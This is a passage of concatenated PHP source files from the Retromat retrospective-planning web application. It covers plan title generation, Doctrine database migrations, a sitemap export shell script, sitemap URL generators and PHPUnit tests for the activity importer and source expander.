throw $this->createNotFoundException();
}
}
}
return $ids;
}
/**
* @param array $ids
* @param array $activities
* @return array
* @throws InconsistentInputException
* @throws NoGroupLeftToDrop
*/
private function planTitleAndDescription(array $ids, array $activities, string $locale): array
{
if ((1 === \count($activities)) and (1 === \count($ids))) {
$title = \html_entity_decode(
'Retromat: '.($activities[0])->getName().' (#'.($activities[0])->getRetromatId().')',
ENT_NOQUOTES
);
$description = \html_entity_decode(($activities[0])->getSummary(), ENT_NOQUOTES);
} else {
// Titles are generated from a separate config, so html_entity_decode is not necessary
$title = $this->titleChooser->renderTitle(\implode('-', $ids), $locale);
$description = \html_entity_decode(
$this->descriptionRenderer->render($activities),
ENT_NOQUOTES
);
}
return [$title, $description];
}
}
<file_sep><?php
declare(strict_types=1);
namespace DoctrineMigrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
final class Version20170226134458 extends AbstractMigration
{
/**
* @param Schema $schema
* @throws \Doctrine\DBAL\Exception
*/
public function up(Schema $schema): void
{
// this up() migration is auto-generated, please modify it to your needs
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('CREATE TABLE activity (doctrine_id INT AUTO_INCREMENT NOT NULL, retromat_id SMALLINT NOT NULL, language VARCHAR(2) NOT NULL, `phase` SMALLINT NOT NULL, `name` VARCHAR(255) NOT NULL, summary VARCHAR(255) NOT NULL, `desc` LONGTEXT NOT NULL, duration VARCHAR(255) DEFAULT NULL, source LONGTEXT DEFAULT NULL, more LONGTEXT DEFAULT NULL, suitable VARCHAR(255) DEFAULT NULL, UNIQUE INDEX UNIQ_AC74095AA9A6C442 (retromat_id), INDEX retromatId_index (retromat_id), INDEX phase_index (phase), PRIMARY KEY(doctrine_id)) DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE = InnoDB');
}
/**
* @param Schema $schema
* @throws \Doctrine\DBAL\Exception
*/
public function down(Schema $schema): void
{
// this down() migration is auto-generated, please modify it to your needs
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('DROP TABLE activity');
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Model\Plan;
class DescriptionRenderer
{
/**
* @param array $activities
* @return string
*/
public function render(array $activities): string
{
if (5 !== \count($activities)) {
return '';
}
return
$activities[0]->getRetromatId().', '.
$activities[1]->getRetromatId().': '.$activities[1]->getSummary().', '.
$activities[2]->getRetromatId().': '.$activities[2]->getSummary().', '.
$activities[3]->getRetromatId().', '.
$activities[4]->getRetromatId();
}
}
<file_sep>#!/bin/bash
# on avior, sitemap generation took about 17 minutes because of the large number of plans,
# but we always want to present a consistent state to search engines, therefore:
# export into the "generating-now" directory, then publish all files at once.
#
# Need to try this on cordelia at some point in time.
#
# Before you re-generate the sitemap, tweak $maxResults and $skip used in PlanIdGenerator->generate(
# Hint: Google sometimes covers millions of pages (5 mio in April 2022) and sometimes hundreds of thousands (670 k in July 2022).
mkdir -p /var/www/virtual/retro2/retromat-sitemaps/generating-now/
php /var/www/virtual/retro2/retromat-deployments/current/backend/bin/console --env=prod presta:sitemaps:dump --gzip \
/var/www/virtual/retro2/retromat-sitemaps/generating-now/
mv /var/www/virtual/retro2/retromat-sitemaps/generating-now/* /var/www/virtual/retromat/retromat-sitemaps
rmdir /var/www/virtual/retro2/retromat-sitemaps/generating-now/
<file_sep><?php
declare(strict_types=1);
namespace App\Model\Plan;
use App\Model\Plan\Exception\InconsistentInputException;
use App\Model\Plan\Exception\NoGroupLeftToDrop;
class TitleChooser
{
/**
* @var array
*/
private $parts = [];
/**
* @var TitleRenderer
*/
private $titleRenderer;
/**
* @var int
*/
private $maxLengthIncludingPlanId;
/**
* TitleIdChooser constructor.
* @param array $titleParts
* @param TitleRenderer|null $title
* @param int $maxLengthIncludingPlanId
*/
public function __construct(array $titleParts, TitleRenderer $title, int $maxLengthIncludingPlanId = PHP_INT_MAX)
{
$this->parts = $titleParts;
$this->titleRenderer = $title;
$this->maxLengthIncludingPlanId = $maxLengthIncludingPlanId;
}
/**
* @param string $activityIdsString
* @param string $locale
* @return string
* @throws InconsistentInputException
* @throws NoGroupLeftToDrop
*/
public function renderTitle(string $activityIdsString, string $locale = 'en'): string
{
if (5 !== \count(\explode('-', $activityIdsString))) {
return '';
}
return $this->titleRenderer->render($this->chooseTitleId($activityIdsString, $locale), $locale).': '.$activityIdsString;
}
/**
* @param string $activityIdsString
* @param string $locale
* @return string
* @throws InconsistentInputException
* @throws NoGroupLeftToDrop
*/
public function chooseTitleId(string $activityIdsString, string $locale = 'en'): string
{
$parts = $this->extractTitleParts($locale);
// parse input
$activityIds = \explode('-', $activityIdsString);
if (5 !== \count($activityIds)) {
return '';
}
// use input to seed the random number generator so we get deterministic randomness
$planNumber = (int)\implode('0', $activityIds);
\mt_srand($planNumber);
// randomly choose a squence to use and identify the groups of terms in it
$chosenSequenceId = \mt_rand(0, \count($parts['sequence_of_groups']) - 1);
$groupIds = $parts['sequence_of_groups'][$chosenSequenceId];
// randomly choose one term from each group in the sequence
$chosenTermIds = [];
foreach ($groupIds as $groupId) {
$groupOfTerms = $parts['groups_of_terms'][$groupId];
$chosenTermIds[] = \mt_rand(0, \count($groupOfTerms) - 1);
}
// take care of $maxLengthIncludingPlanId
$titleId = $chosenSequenceId.':'.\implode('-', $chosenTermIds);
$titleId = $this->dropOptionalTermsUntilShortEnough($titleId, $activityIdsString, $locale);
return $titleId;
}
/**
* @param string $titleId
* @param string $planId
* @param string $locale
* @return string
* @throws InconsistentInputException
* @throws NoGroupLeftToDrop
*/
public function dropOptionalTermsUntilShortEnough(string $titleId, string $planId, string $locale = 'en'): string
{
while (!$this->isShortEnough($titleId, $planId, $locale)) {
$titleId = $this->dropOneOptionalTerm($titleId, $locale);
}
return $titleId;
}
/**
* @param string $titleId
* @param string $locale
* @return string
* @throws InconsistentInputException
* @throws NoGroupLeftToDrop
*/
public function dropOneOptionalTerm(string $titleId, string $locale = 'en'): string
{
$parts = $this->extractTitleParts($locale);
// parse titleId
$idStringParts = \explode(':', $titleId);
$sequenceOfGroupsId = $idStringParts[0];
$sequenceOfGroups = $parts['sequence_of_groups'][$sequenceOfGroupsId];
$fragmentIds = \explode('-', $idStringParts[1]);
unset($titleId, $idStringParts);
// find non-empty optional terms
$nonEmptyOptionalGroupIds = [];
for ($i = 0; $i < \count($fragmentIds); $i++) {
// non-empty (by convention, empty string must be listed first and therefore are id == 0)
if (0 != $fragmentIds[$i]) {
// by convention, optional groups are marked by having an empty string as their first term
if (0 == \strlen($parts['groups_of_terms'][$sequenceOfGroups[$i]][0])) {
$nonEmptyOptionalGroupIds[] = $i;
}
}
}
if (empty($nonEmptyOptionalGroupIds)) {
throw new NoGroupLeftToDrop(
'Cannot drop enough groups to satisfy maximum length requirement: '.
$sequenceOfGroupsId.':'.\implode('-', $fragmentIds)
);
}
// drop one term (random choice)
$termIdToDrop = $nonEmptyOptionalGroupIds[\mt_rand(0, \count($nonEmptyOptionalGroupIds) - 1)];
$fragmentIds[$termIdToDrop] = 0;
return $sequenceOfGroupsId.':'.\implode('-', $fragmentIds);
}
/**
* @param string $titleId
* @param string $activityIdsString
* @param string $locale
* @return bool
* @throws InconsistentInputException
*/
public function isShortEnough(string $titleId, string $activityIdsString, string $locale = 'en'): bool
{
return $this->maxLengthIncludingPlanId >= \mb_strlen(
$this->titleRenderer->render($titleId, $locale).': '.$activityIdsString
);
}
/**
* @param string $locale
* @return array
* @throws InconsistentInputException
*/
private function extractTitleParts(string $locale): array
{
if (\array_key_exists($locale, $this->parts)) {
return $this->parts[$locale];
} else {
throw new InconsistentInputException('Locale not found in parts: '.$locale);
}
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Sitemap;
use App\Model\Activity\ActivityByPhase;
use App\Model\Sitemap\PlanIdGenerator;
use PHPUnit\Framework\TestCase;
class PlanIdGeneratorTest extends TestCase
{
/**
* @var array
*/
private $ids = [];
/**
* @var PlanIdGenerator
*/
private $planIdGenerator;
public function setUp(): void
{
$this->ids = [];
$activitiesByPhase = [
0 => [1, 6],
1 => [2, 7],
2 => [3],
3 => [4],
4 => [5],
];
$activitiyByPhase = $this
->getMockBuilder(ActivityByPhase::class)
->setMethods(['getAllActivitiesByPhase'])
->disableOriginalConstructor()
->getMock();
$activitiyByPhase->expects($this->any())
->method('getAllActivitiesByPhase')
->willReturn($activitiesByPhase);
$this->planIdGenerator = new PlanIdGenerator($activitiyByPhase);
}
public function testGenerateAll()
{
$this->planIdGenerator->generate([$this, 'collect']);
$this->assertEquals('1-2-3-4-5', $this->ids[0]);
$this->assertEquals('6-2-3-4-5', $this->ids[1]);
$this->assertEquals('1-7-3-4-5', $this->ids[2]);
$this->assertEquals('6-7-3-4-5', $this->ids[3]);
}
public function testGenerateMaxResults()
{
$maxResults = 2;
$this->planIdGenerator->generate([$this, 'collect'], $maxResults);
$this->assertCount($maxResults, $this->ids);
$this->assertEquals('1-2-3-4-5', $this->ids[0]);
$this->assertEquals('6-2-3-4-5', $this->ids[1]);
}
public function testGenerateSkip0()
{
$skip = 0;
$maxResults = 2;
$this->planIdGenerator->generate([$this, 'collect'], $maxResults, $skip);
$this->assertCount($maxResults, $this->ids);
$this->assertEquals('1-2-3-4-5', $this->ids[0]);
$this->assertEquals('6-2-3-4-5', $this->ids[1]);
}
public function testGenerateSkip1()
{
$skip = 1;
$maxResults = 2;
$this->planIdGenerator->generate([$this, 'collect'], $maxResults, $skip);
$this->assertEquals('6-2-3-4-5', $this->ids[0]);
$this->assertEquals('1-7-3-4-5', $this->ids[1]);
$this->assertCount($maxResults, $this->ids);
}
public function testGenerateSkip2()
{
$skip = 2;
$maxResults = 1;
$this->planIdGenerator->generate([$this, 'collect'], $maxResults, $skip);
$this->assertEquals('1-7-3-4-5', $this->ids[0]);
$this->assertCount($maxResults, $this->ids);
}
/**
* @param string $id
*/
public function collect(string $id)
{
$this->ids[] = $id;
}
}
<file_sep><?php
namespace App\Model\User\Exception;
class DropUserException extends \Exception
{
}
<file_sep><?php
declare(strict_types=1);
namespace DoctrineMigrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
final class Version20220528165843 extends AbstractMigration
{
/**
* @return string
*/
public function getDescription(): string
{
return 'Remove orphaned columns from user entity and rewrite unique index';
}
/**
* @param Schema $schema
*/
public function up(Schema $schema): void
{
$this->addSql('DROP INDEX UNIQ_8D93D649C05FB297 ON user');
$this->addSql('DROP INDEX UNIQ_8D93D64992FC23A8 ON user');
$this->addSql('DROP INDEX UNIQ_8D93D649A0D96FBF ON user');
$this->addSql('
ALTER TABLE user
DROP username_canonical,
DROP email_canonical,
DROP last_login,
DROP confirmation_token,
DROP password_requested_at');
$this->addSql('CREATE UNIQUE INDEX UNIQ_8D93D64992FC23A8 ON user (username)');
$this->addSql('CREATE UNIQUE INDEX UNIQ_8D93D649A0D96FBF ON user (email)');
}
/**
* @param Schema $schema
*/
public function down(Schema $schema): void
{
$this->addSql('DROP INDEX UNIQ_8D93D64992FC23A8 ON user');
$this->addSql('DROP INDEX UNIQ_8D93D649A0D96FBF ON user');
$this->addSql('
ALTER TABLE user
ADD username_canonical VARCHAR(180) NOT NULL,
ADD email_canonical VARCHAR(180) NOT NULL,
ADD last_login DATETIME DEFAULT NULL,
ADD confirmation_token VARCHAR(180) DEFAULT NULL,
ADD password_requested_at DATETIME DEFAULT NULL');
$this->addSql('CREATE UNIQUE INDEX UNIQ_8D93D649C05FB297 ON user (confirmation_token)');
$this->addSql('CREATE UNIQUE INDEX UNIQ_8D93D64992FC23A8 ON user (username_canonical)');
$this->addSql('CREATE UNIQUE INDEX UNIQ_8D93D649A0D96FBF ON user (email_canonical)');
}
}
<file_sep><?php
namespace App\Tests\Importer\Activity;
use App\Model\Importer\Activity\ActivityImporter;
use App\Model\Importer\Activity\ActivityReader;
use App\Model\Importer\Activity\Exception\InvalidActivityException;
use App\Model\Importer\Activity\Hydrator\ActivityHydrator;
use App\Tests\AbstractTestCase;
use Doctrine\Persistence\ObjectManager;
use Symfony\Component\Validator\Validator\ValidatorInterface;
final class ActivityImporterIntegrationTest extends AbstractTestCase
{
public function testImportOnEmptyDbEn()
{
$this->loadFixtures([]);
$reader = new ActivityReader(null, ['en' => __DIR__.'/TestData/activities_en.js']);
$activityHydrator = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityImporter = new ActivityImporter($entityManager, $reader, $activityHydrator, $validator);
$activityImporter->import();
$entityManager->clear();
$this->assertCount(129, $entityManager->getRepository('App:Activity')->findAll());
$this->assertEquals(
'Discuss the 12 agile principles and pick one to work on',
$entityManager->getRepository('App:Activity')->findOneBy(['retromatId' => 123])->translate(
'en'
)->getSummary()
);
$this->assertEquals(
'Discuss the 12 agile principles and pick one to work on',
$entityManager->getRepository('App:Activity')->findOneBy(['retromatId' => 123])->getSummary()
);
}
public function testImportOnTopOfExisting()
{
$this->loadFixtures([]);
$reader = new ActivityReader(null, ['en' => __DIR__.'/TestData/activities_en.js']);
$mapper = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityImporter = new ActivityImporter($entityManager, $reader, $mapper, $validator);
$activityImporter->import();
$entityManager->clear();
$activity2 = $entityManager->getRepository('App:Activity')->findOneBy(['retromatId' => 123]);
$entityManager->remove($activity2);
$entityManager->flush();
$this->assertCount(128, $entityManager->getRepository('App:Activity')->findAll());
$activityImporter->import();
$entityManager->clear();
$this->assertCount(129, $entityManager->getRepository('App:Activity')->findAll());
$this->assertEquals(
'Discuss the 12 agile principles and pick one to work on',
$entityManager->getRepository('App:Activity')->findOneBy(['retromatId' => 123])->getSummary()
);
}
public function testImportOnEmptyDbDe()
{
$this->loadFixtures([]);
$reader = new ActivityReader(
null,
[
'en' => __DIR__.'/TestData/activities_en.js',
'de' => __DIR__.'/TestData/activities_de.js',
]
);
$mapper = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityImporter = new ActivityImporter($entityManager, $reader, $mapper, $validator, ['de']);
$activityImporter->import();
$entityManager->clear();
// 129, because English is always imported to set the metadate correctly
$this->assertCount(129, $entityManager->getRepository('App:Activity')->findAll());
$activity2 = $entityManager->getRepository('App:Activity')->findOneBy(['retromatId' => 71]);
$this->assertEquals(
'Kläre, wie zufrieden das Team ist mit Retro-Ergebnisse der Retrospektive, einer fairen Verteilung der Redezeit und der Stimmung während der Retrospektive war',
$activity2->translate('de', $fallbackToDefault = false)->getSummary()
);
$activity2->setCurrentLocale('de');
$this->assertEquals(
'Kläre, wie zufrieden das Team ist mit Retro-Ergebnisse der Retrospektive, einer fairen Verteilung der Redezeit und der Stimmung während der Retrospektive war',
$activity2->getSummary()
);
}
public function testImportOnEmptyDbEnDe()
{
$this->loadFixtures([]);
$mapper = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityFileNames = [
'en' => __DIR__.'/TestData/activities_en.js',
'de' => __DIR__.'/TestData/activities_de.js',
];
$reader = new ActivityReader(null, $activityFileNames);
$activityImporter = new ActivityImporter($entityManager, $reader, $mapper, $validator, ['en', 'de']);
$activityImporter->import();
$entityManager->clear();
$this->assertCount(129, $entityManager->getRepository('App:Activity')->findAll());
$activity2 = $entityManager->getRepository('App:Activity')->findOneBy(['retromatId' => 71]);
$this->assertEquals(
'Check satisfaction with retro results, fair distribution of talk time & mood',
$activity2->translate('en')->getSummary()
);
$this->assertEquals(
'Kläre, wie zufrieden das Team ist mit Retro-Ergebnisse der Retrospektive, einer fairen Verteilung der Redezeit und der Stimmung während der Retrospektive war',
$activity2->translate('de', $fallbackToDefault = false)->getSummary()
);
$activity2->setCurrentLocale('en');
$this->assertEquals(
'Check satisfaction with retro results, fair distribution of talk time & mood',
$activity2->getSummary()
);
$activity2->setCurrentLocale('de');
$this->assertEquals(
'Kläre, wie zufrieden das Team ist mit Retro-Ergebnisse der Retrospektive, einer fairen Verteilung der Redezeit und der Stimmung während der Retrospektive war',
$activity2->getSummary()
);
}
public function testImportThrowsExceptionOnInvalidActivity()
{
$this->loadFixtures([]);
$reader = new ActivityReader(null, ['en' => __DIR__.'/TestData/activities_en_1_valid_1_invalid.js']);
$mapper = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityImporter = new ActivityImporter($entityManager, $reader, $mapper, $validator);
try {
$activityImporter->import();
} catch (InvalidActivityException $exception) {
$this->assertTrue(true);
return;
}
$this->fail('Expected exception not thrown: InvalidActivityException for Activity (type 1).');
}
public function testImportThrowsExceptionOnInvalidActivityMeta()
{
$this->loadFixtures([]);
$reader = new ActivityReader(null, ['en' => __DIR__.'/TestData/activities_en_1_valid_1_invalid.js']);
$mapper = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityImporter = new ActivityImporter($entityManager, $reader, $mapper, $validator);
try {
$activityImporter->import2();
} catch (InvalidActivityException $exception) {
$this->assertTrue(true);
return;
}
$this->fail('Expected exception not thrown: InvalidActivityException for Activity metadata.');
}
public function testImportThrowsExceptionOnInvalidActivityTranslation()
{
$this->loadFixtures([]);
$reader = new ActivityReader(
null,
['en' => __DIR__.'/TestData/activities_en_1_valid_1_invalid_translation.js']
);
$mapper = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityImporter = new ActivityImporter($entityManager, $reader, $mapper, $validator);
try {
$activityImporter->import2();
} catch (InvalidActivityException $exception) {
$this->assertTrue(true);
return;
}
$this->fail('Expected exception not thrown: InvalidActivityException for Activity translation.');
}
public function testImportUpdatesExisting()
{
$this->loadFixtures([]);
$reader = new ActivityReader(null, ['en' => __DIR__.'/TestData/activities_en_esvp.js']);
$mapper = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityImporter = new ActivityImporter($entityManager, $reader, $mapper, $validator);
$activityImporter->import();
$entityManager->clear();
$this->assertEquals(
'ESVP',
$entityManager->getRepository('App:Activity')->findOneBy(['retromatId' => 1])->getName()
);
$reader2 = new ActivityReader(null, ['en' => __DIR__.'/TestData/activities_en_esvp_updated.js']);
$activityImporter2 = new ActivityImporter($entityManager, $reader2, $mapper, $validator);
$activityImporter2->import();
$entityManager->clear();
$this->assertEquals(
'ESVPupdated',
$entityManager->getRepository('App:Activity')->findOneBy(['retromatId' => 1])->getName()
);
}
public function testImport2MultipleImportsAllLanguages()
{
$this->loadFixtures([]);
$mapper = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityFileNames = [
'en' => __DIR__.'/TestData/activities_en.js',
'de' => __DIR__.'/TestData/activities_de.js',
];
$reader = new ActivityReader(null, $activityFileNames);
$activityImporter = new ActivityImporter($entityManager, $reader, $mapper, $validator);
$activityImporter->import2Multiple(['en', 'de']);
$entityManager->clear();
$this->assertCount(129, $entityManager->getRepository('App:Activity')->findAll());
$activity2 = $entityManager->getRepository('App:Activity')->findOneBy(['retromatId' => 71]);
$this->assertEquals(
'Check satisfaction with retro results, fair distribution of talk time & mood',
$activity2->translate('en')->getSummary()
);
$this->assertEquals(
'Kläre, wie zufrieden das Team ist mit Retro-Ergebnisse der Retrospektive, einer fairen Verteilung der Redezeit und der Stimmung während der Retrospektive war',
$activity2->translate('de', $fallbackToDefault = false)->getSummary()
);
$activity2->setCurrentLocale('en');
$this->assertEquals(
'Check satisfaction with retro results, fair distribution of talk time & mood',
$activity2->getSummary()
);
$activity2->setCurrentLocale('de');
$this->assertEquals(
'Kläre, wie zufrieden das Team ist mit Retro-Ergebnisse der Retrospektive, einer fairen Verteilung der Redezeit und der Stimmung während der Retrospektive war',
$activity2->getSummary()
);
}
public function testImport2MultipleMetaDataFromEnglishOnly()
{
$this->loadFixtures([]);
$mapper = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityFileNames = [
'en' => __DIR__.'/TestData/activities_en_esvp.js',
'de' => __DIR__.'/TestData/activities_de_feug_wrong_translated_meta.js',
];
$reader = new ActivityReader(null, $activityFileNames);
$activityImporter = new ActivityImporter($entityManager, $reader, $mapper, $validator);
$activityImporter->import2Multiple(['en', 'de']);
$entityManager->clear();
$this->assertCount(1, $entityManager->getRepository('App:Activity')->findAll());
$activity2 = $entityManager->getRepository('App:Activity')->findOneBy(['retromatId' => 1]);
$this->assertEquals(
'Short',
$activity2->getDuration()
);
}
public function testImport2MultipleNoSuperfluousNonEnglishTransations()
{
$this->loadFixtures([]);
$mapper = new ActivityHydrator();
/** @var ValidatorInterface $validator */
$validator = $this->getContainer()->get('validator');
/** @var ObjectManager $entityManager */
$entityManager = $this->getContainer()->get('doctrine.orm.entity_manager');
$activityFileNames = [
'en' => __DIR__.'/TestData/activities_en_2.js',
'de' => __DIR__.'/TestData/activities_de_feug_wrong_translated_meta.js',
];
$reader = new ActivityReader(null, $activityFileNames);
$activityImporter = new ActivityImporter($entityManager, $reader, $mapper, $validator);
$activityImporter->import2Multiple(['en', 'de']);
$entityManager->clear();
$this->assertCount(2, $entityManager->getRepository('App:Activity')->findAll());
$this->assertCount(3, $entityManager->getRepository('App:ActivityTranslation')->findAll());
}
}
<file_sep><?php
namespace App\Model\Sitemap;
use App\Model\Activity\ActivityByPhase;
use App\Repository\ActivityRepository;
use Presta\SitemapBundle\Service\UrlContainerInterface;
use Presta\SitemapBundle\Sitemap\Url\UrlConcrete;
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
class ActivityUrlGenerator
{
private const DEFAULT_LOCALE = 'en';
private const LOCALE = ['en', 'de', 'fr', 'es', 'nl'];
private UrlGeneratorInterface $urlGenerator;
private ActivityRepository $activityRepository;
private ActivityByPhase $activityByPhase;
public function __construct(UrlGeneratorInterface $urlGenerator, ActivityRepository $activityRepository, ActivityByPhase $activityByPhase)
{
$this->urlGenerator = $urlGenerator;
$this->activityRepository = $activityRepository;
$this->activityByPhase = $activityByPhase;
}
/**
* @param UrlContainerInterface $urlContainer
*/
public function generateHomeUrls(UrlContainerInterface $urlContainer): void
{
foreach (self::LOCALE as $locale) {
$urlContainer->addUrl(
new UrlConcrete(
$this->urlGenerator->generate(
'activities_by_id',
['_locale' => $locale],
UrlGeneratorInterface::ABSOLUTE_URL
)
),
'home'
);
}
}
/**
* @param UrlContainerInterface $urlContainer
*/
public function generateAllActivityUrls(UrlContainerInterface $urlContainer): void
{
$activities = $this->activityRepository->findAll();
$activityIds = [];
foreach ($activities as $activity) {
$activityIds[] = $activity->getRetromatId();
}
$urlContainer->addUrl(
new UrlConcrete(
$this->urlGenerator->generate(
'activities_by_id',
[
'id' => \implode('-', $activityIds),
'all' => 'yes',
'_locale' => self::DEFAULT_LOCALE,
],
UrlGeneratorInterface::ABSOLUTE_URL
)
),
'home'
);
}
/**
* @param UrlContainerInterface $urlContainer
*/
public function generateIndividualActivityUrls(UrlContainerInterface $urlContainer): void
{
$activities = $this->activityRepository->findAll();
foreach ($activities as $activity) {
$urlContainer->addUrl(
new UrlConcrete(
$this->urlGenerator->generate(
'activities_by_id',
[
'id' => $activity->getRetromatId(),
'_locale' => self::DEFAULT_LOCALE,
],
UrlGeneratorInterface::ABSOLUTE_URL
)
),
'activity'
);
}
}
/**
* @param UrlContainerInterface $urlContainer
*/
public function generateAllPhaseUrls(UrlContainerInterface $urlContainer): void
{
foreach (\range(0, 5) as $phase) {
$urlContainer->addUrl(
new UrlConcrete(
$this->urlGenerator->generate(
'activities_by_id',
[
'id' => $this->activityByPhase->getActivitiesString($phase),
'phase' => $phase,
'_locale' => self::DEFAULT_LOCALE,
],
UrlGeneratorInterface::ABSOLUTE_URL
)
),
'home'
);
}
}
}
<file_sep><?php
declare(strict_types=1);
namespace DoctrineMigrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
final class Version20170716165521 extends AbstractMigration
{
/**
* @param Schema $schema
* @throws \Doctrine\DBAL\Exception
*/
public function up(Schema $schema): void
{
// this up() migration is auto-generated, please modify it to your needs
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('DROP TABLE plan');
}
/**
* @param Schema $schema
* @throws \Doctrine\DBAL\Exception
*/
public function down(Schema $schema): void
{
// this down() migration is auto-generated, please modify it to your needs
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('CREATE TABLE plan (language CHAR(2) NOT NULL COLLATE utf8_unicode_ci, retromatId VARCHAR(255) NOT NULL COLLATE utf8_unicode_ci, titleId VARCHAR(255) NOT NULL COLLATE utf8_unicode_ci, PRIMARY KEY(retromatId, language)) DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE = InnoDB');
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Activity;
use App\Entity\Activity;
use App\Model\Activity\Expander\ActivityExpander;
use PHPUnit\Framework\TestCase;
use Symfony\Component\Yaml\Yaml;
final class ActivityExpanderTest extends TestCase
{
public function testExpandSourceWithSimpleStringRawHtml(): void
{
$activityExpander = new ActivityExpander([]);
$activity = new Activity();
$activity->setSource("<a href='http://fairlygoodpractices.com/samolo.htm'>Fairly good practices</a>");
$activityExpander->expandSource($activity);
$this->assertEquals(
'<a href="http://fairlygoodpractices.com/samolo.htm">Fairly good practices</a>',
$activity->getSource()
);
$activity->setSource("<a href='http://www.infoq.com/minibooks/agile-retrospectives-value'>Luis Goncalves</a>");
$activityExpander->expandSource($activity);
$this->assertEquals(
'<a href="http://www.infoq.com/minibooks/agile-retrospectives-value">Luis Goncalves</a>',
$activity->getSource()
);
}
public function testExpandSourceWithPlaceholderRawHtml(): void
{
$activityExpander = new ActivityExpander($this->getSourcesYaml());
$activity = new Activity();
$activity->setSource('source_judith');
$activityExpander->expandSource($activity);
$this->assertEquals(
'<a href="https://leanpub.com/ErfolgreicheRetrospektiven"><NAME></a>',
$activity->getSource()
);
$activity->setSource('source_findingMarbles');
$activityExpander->expandSource($activity);
$this->assertEquals(
'<a href="http://www.finding-marbles.com/"><NAME></a>',
$activity->getSource()
);
}
public function testExpandSourceWithPlaceholderAndStringRawHtml(): void
{
$activityExpander = new ActivityExpander($this->getSourcesYaml());
$activity = new Activity();
$activity->setSource(
'source_agileRetrospectives + " who took it from \'The Satir Model: Family Therapy and Beyond\'"'
);
$activityExpander->expandSource($activity);
$this->assertEquals(
'<a href="http://www.amazon.com/Agile-Retrospectives-Making-Teams-Great/dp/0977616649/">Agile Retrospectives</a> who took it from \'The Satir Model: Family Therapy and Beyond\'',
$activity->getSource()
);
$activity->setSource(
'source_innovationGames + ", found at <a href=\'http://www.ayeconference.com/appreciativeretrospective/\'>Diana Larsen</a>"'
);
$activityExpander->expandSource($activity);
$this->assertEquals(
'<a href="http://www.amazon.com/Innovation-Games-Creating-Breakthrough-Collaborative/dp/0321437292/"><NAME></a>, found at <a href="http://www.ayeconference.com/appreciativeretrospective/"><NAME></a>',
$activity->getSource()
);
}
public function testExpandSourceStringAndPlaceholderRawHtml(): void
{
$activityExpander = new ActivityExpander($this->getSourcesYaml());
$activity = new Activity();
$activity->setSource('"ALE 2011, " + source_findingMarbles');
$activityExpander->expandSource($activity);
$this->assertEquals(
'ALE 2011, <a href="http://www.finding-marbles.com/"><NAME></a>',
$activity->getSource()
);
$activity->setSource(
'"<a href=\'http://blog.8thlight.com/doug-bradbury/2011/09/19/apreciative_inquiry_retrospectives.html\'>Doug Bradbury</a>, adapted for SW development by " + source_findingMarbles'
);
$activityExpander->expandSource($activity);
$this->assertEquals(
'<a href="http://blog.8thlight.com/doug-bradbury/2011/09/19/apreciative_inquiry_retrospectives.html"><NAME></a>, adapted for SW development by <a href="http://www.finding-marbles.com/"><NAME></a>',
$activity->getSource()
);
}
/**
* @return array
*/
private function getSourcesYaml(): array
{
$yaml = <<<YAML
source_agileRetrospectives: "<a href=\"http://www.amazon.com/Agile-Retrospectives-Making-Teams-Great/dp/0977616649/\">Agile Retrospectives<\/a>"
source_findingMarbles: "<a href=\"http://www.finding-marbles.com/\"><NAME><\/a>"
source_kalnin: "<a href=\"http://vinylbaustein.net/tag/retrospective/\"><NAME><\/a>"
source_innovationGames: "<a href=\"http://www.amazon.com/Innovation-Games-Creating-Breakthrough-Collaborative/dp/0321437292/\"><NAME><\/a>"
